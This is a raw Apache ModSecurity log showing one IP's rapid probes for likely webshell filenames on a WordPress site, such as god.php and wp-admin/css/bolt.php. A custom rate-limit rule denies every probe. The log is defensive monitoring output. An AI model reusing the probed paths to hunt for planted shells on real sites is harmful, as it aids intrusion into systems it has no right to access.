[Thu Feb 26 23:17:33.443904 2026] [:error] [pid 44444:tid 44463] [client 20.220.189.106:34697] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaBkDW2sMNmj-yekUk1z5wAAAg0"]
[Thu Feb 26 23:17:33.861913 2026] [:error] [pid 54990:tid 55008] [client 20.220.189.106:34796] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaBkDXtr2qmt_mBhH2w1MQAAAA8"]
[Thu Feb 26 23:17:34.282260 2026] [:error] [pid 3883:tid 3898] [client 20.220.189.106:34750] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaBkDuA33x90V6yYHagDGQAAAUw"]
[Thu Feb 26 23:17:34.711955 2026] [:error] [pid 44444:tid 44470] [client 20.220.189.106:34780] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaBkDm2sMNmj-yekUk1z7gAAAhQ"]
[Thu Feb 26 23:17:35.129898 2026] [:error] [pid 3883:tid 3897] [client 20.220.189.106:34718] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaBkD-A33x90V6yYHagDHQAAAUs"]
[Thu Feb 26 23:17:35.541725 2026] [:error] [pid 44444:tid 44465] [client 20.220.189.106:34755] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaBkD22sMNmj-yekUk1z8QAAAg8"]
[Thu Feb 26 23:17:35.955918 2026] [:error] [pid 20419:tid 20429] [client 20.220.189.106:34759] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaBkD-3DVDvMfTYYUBV3BgAAAcc"]
[Thu Feb 26 23:17:36.365590 2026] [:error] [pid 44444:tid 44460] [client 20.220.189.106:34705] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaBkEG2sMNmj-yekUk1z9gAAAgo"]
[Thu Feb 26 23:17:36.775286 2026] [:error] [pid 55618:tid 55621] [client 20.220.189.106:34762] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaBkEB61Vrh12f_8oWQdMQAAAQA"]
[Thu Feb 26 23:17:37.191501 2026] [:error] [pid 54990:tid 55013] [client 20.220.189.106:34776] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaBkEXtr2qmt_mBhH2w1NwAAABQ"]
[Thu Feb 26 23:17:37.618334 2026] [:error] [pid 20419:tid 20434] [client 20.220.189.106:34749] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaBkEe3DVDvMfTYYUBV3CQAAAcw"]
[Thu Feb 26 23:17:38.037635 2026] [:error] [pid 20419:tid 20440] [client 20.220.189.106:34722] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaBkEu3DVDvMfTYYUBV3DQAAAdI"]
[Thu Feb 26 23:17:38.451069 2026] [:error] [pid 44444:tid 44469] [client 20.220.189.106:34625] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaBkEm2sMNmj-yekUk1z_AAAAhM"]
[Thu Feb 26 23:17:38.861142 2026] [:error] [pid 55051:tid 55064] [client 20.220.189.106:34706] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaBkEgmK1w2kZvh5eLHqVwAAAIo"]
[Thu Feb 26 23:17:39.277814 2026] [:error] [pid 54990:tid 55000] [client 20.220.189.106:34695] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaBkE3tr2qmt_mBhH2w1OgAAAAc"]
[Thu Feb 26 23:17:39.709987 2026] [:error] [pid 25311:tid 25330] [client 20.220.189.106:34743] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaBkE9fdM__yZAgJFSv1EgAAAZA"]
[Thu Feb 26 23:17:40.123775 2026] [:error] [pid 44444:tid 44450] [client 20.220.189.106:34735] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaBkFG2sMNmj-yekUk1z_gAAAgA"]
[Thu Feb 26 23:17:40.542103 2026] [:error] [pid 55618:tid 55628] [client 20.220.189.106:34784] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaBkFB61Vrh12f_8oWQdNQAAAQc"]
[Thu Feb 26 23:17:40.954804 2026] [:error] [pid 55051:tid 55055] [client 20.220.189.106:34720] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/work.php"] [unique_id "aaBkFAmK1w2kZvh5eLHqWAAAAIE"]
[Thu Feb 26 23:17:41.366730 2026] [:error] [pid 54991:tid 55040] [client 20.220.189.106:34787] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/work.php"] [unique_id "aaBkFd4Zx-mJ8gbRB2gT1gAAAFQ"]
[Thu Feb 26 23:17:41.784717 2026] [:error] [pid 25311:tid 25315] [client 20.220.189.106:34810] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/work.php"] [unique_id "aaBkFdfdM__yZAgJFSv1FAAAAYE"]
[Thu Feb 26 23:17:42.196496 2026] [:error] [pid 54991:tid 55028] [client 20.220.189.106:34783] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/work.php"] [unique_id "aaBkFt4Zx-mJ8gbRB2gT1wAAAEg"]
[Thu Feb 26 23:17:42.609531 2026] [:error] [pid 25311:tid 25333] [client 20.220.189.106:34811] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/06.php"] [unique_id "aaBkFtfdM__yZAgJFSv1FQAAAZM"]
[Thu Feb 26 23:17:43.028611 2026] [:error] [pid 55051:tid 55067] [client 20.220.189.106:34701] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/06.php"] [unique_id "aaBkFwmK1w2kZvh5eLHqXAAAAI0"]
[Thu Feb 26 23:17:43.449573 2026] [:error] [pid 25311:tid 25316] [client 20.220.189.106:34795] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/06.php"] [unique_id "aaBkF9fdM__yZAgJFSv1FgAAAYI"]
[Thu Feb 26 23:17:43.881613 2026] [:error] [pid 44444:tid 44460] [client 20.220.189.106:34809] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/06.php"] [unique_id "aaBkF22sMNmj-yekUk10BwAAAgo"]
[Thu Feb 26 23:17:44.295686 2026] [:error] [pid 44444:tid 44472] [client 20.220.189.106:34791] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aaBkGG2sMNmj-yekUk10CgAAAhY"]
[Thu Feb 26 23:17:44.706895 2026] [:error] [pid 55051:tid 55062] [client 20.220.189.106:34800] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aaBkGAmK1w2kZvh5eLHqXwAAAIg"]
[Thu Feb 26 23:17:45.118190 2026] [:error] [pid 44444:tid 44453] [client 20.220.189.106:34714] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aaBkGW2sMNmj-yekUk10DQAAAgM"]
[Thu Feb 26 23:17:45.532644 2026] [:error] [pid 55051:tid 55069] [client 20.220.189.106:34656] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aaBkGQmK1w2kZvh5eLHqYQAAAI8"]
[Thu Feb 26 23:17:45.946764 2026] [:error] [pid 55051:tid 55071] [client 20.220.189.106:34737] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaBkGQmK1w2kZvh5eLHqZAAAAJE"]
[Thu Feb 26 23:17:46.371435 2026] [:error] [pid 55051:tid 55064] [client 20.220.189.106:34768] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaBkGgmK1w2kZvh5eLHqZwAAAIo"]
[Thu Feb 26 23:17:46.783584 2026] [:error] [pid 55051:tid 55070] [client 20.220.189.106:34766] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaBkGgmK1w2kZvh5eLHqagAAAJA"]
[Thu Feb 26 23:17:47.221497 2026] [:error] [pid 55051:tid 55067] [client 20.220.189.106:34728] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaBkGwmK1w2kZvh5eLHqbgAAAI0"]
[Thu Feb 26 23:17:47.635177 2026] [:error] [pid 54991:tid 55026] [client 20.220.189.106:34739] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaBkG94Zx-mJ8gbRB2gT3AAAAEY"]
[Thu Feb 26 23:17:48.058925 2026] [:error] [pid 54991:tid 55041] [client 20.220.189.106:34712] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaBkHN4Zx-mJ8gbRB2gT3gAAAFU"]
[Thu Feb 26 23:17:48.521853 2026] [:error] [pid 44444:tid 44454] [client 20.220.189.106:34707] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaBkHG2sMNmj-yekUk10GgAAAgQ"]
[Thu Feb 26 23:17:48.944905 2026] [:error] [pid 54991:tid 55029] [client 20.220.189.106:34758] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaBkHN4Zx-mJ8gbRB2gT4QAAAEk"]
[Thu Feb 26 23:17:49.357864 2026] [:error] [pid 54991:tid 55022] [client 20.220.189.106:34746] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aaBkHd4Zx-mJ8gbRB2gT4gAAAEI"]
[Thu Feb 26 23:17:49.773934 2026] [:error] [pid 55618:tid 55643] [client 20.220.189.106:34815] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aaBkHR61Vrh12f_8oWQdOAAAARY"]
[Thu Feb 26 23:17:50.240366 2026] [:error] [pid 3883:tid 3906] [client 20.220.189.106:34648] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aaBkHuA33x90V6yYHagDIgAAAVQ"]
[Thu Feb 26 23:17:50.665115 2026] [:error] [pid 20419:tid 20424] [client 20.220.189.106:34753] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aaBkHu3DVDvMfTYYUBV3GAAAAcI"]
[Thu Feb 26 23:17:51.083051 2026] [:error] [pid 55051:tid 55063] [client 20.220.189.106:34661] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaBkHwmK1w2kZvh5eLHqcQAAAIk"]
[Thu Feb 26 23:17:51.493878 2026] [:error] [pid 3883:tid 3905] [client 20.220.189.106:34717] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaBkH-A33x90V6yYHagDJQAAAVM"]
[Thu Feb 26 23:17:51.938473 2026] [:error] [pid 54990:tid 55002] [client 20.220.189.106:34757] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaBkH3tr2qmt_mBhH2w1PQAAAAk"]
[Thu Feb 26 23:17:52.417762 2026] [:error] [pid 44444:tid 44474] [client 20.220.189.106:34669] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaBkIG2sMNmj-yekUk10KAAAAhg"]
[Thu Feb 26 23:17:52.832120 2026] [:error] [pid 55122:tid 55124] [client 20.220.189.106:34670] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaBkIILiR0OfjFxvcN88wwAAAMA"]
[Thu Feb 26 23:17:53.251344 2026] [:error] [pid 54991:tid 55037] [client 20.220.189.106:34801] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaBkId4Zx-mJ8gbRB2gT5gAAAFE"]
[Thu Feb 26 23:17:53.665317 2026] [:error] [pid 25311:tid 25321] [client 20.220.189.106:34631] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaBkIdfdM__yZAgJFSv1GgAAAYc"]
[Thu Feb 26 23:17:54.081524 2026] [:error] [pid 44444:tid 44460] [client 20.220.189.106:34634] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaBkIm2sMNmj-yekUk10LQAAAgo"]
[Thu Feb 26 23:17:54.501272 2026] [:error] [pid 25311:tid 25320] [client 20.220.189.106:34764] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aaBkItfdM__yZAgJFSv1HAAAAYY"]
[Thu Feb 26 23:17:54.916651 2026] [:error] [pid 54990:tid 55009] [client 20.220.189.106:34770] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aaBkIntr2qmt_mBhH2w1PwAAABA"]
[Thu Feb 26 23:17:55.332044 2026] [:error] [pid 54990:tid 54994] [client 20.220.189.106:34729] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aaBkI3tr2qmt_mBhH2w1QAAAAAE"]
[Thu Feb 26 23:17:55.746187 2026] [:error] [pid 54991:tid 55042] [client 20.220.189.106:34730] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aaBkI94Zx-mJ8gbRB2gT7AAAAFY"]
[Thu Feb 26 23:17:56.158937 2026] [:error] [pid 54991:tid 55039] [client 20.220.189.106:34699] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aaBkJN4Zx-mJ8gbRB2gT7gAAAFM"]
[Thu Feb 26 23:17:56.572347 2026] [:error] [pid 55122:tid 55131] [client 20.220.189.106:34708] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aaBkJILiR0OfjFxvcN88xgAAAMc"]
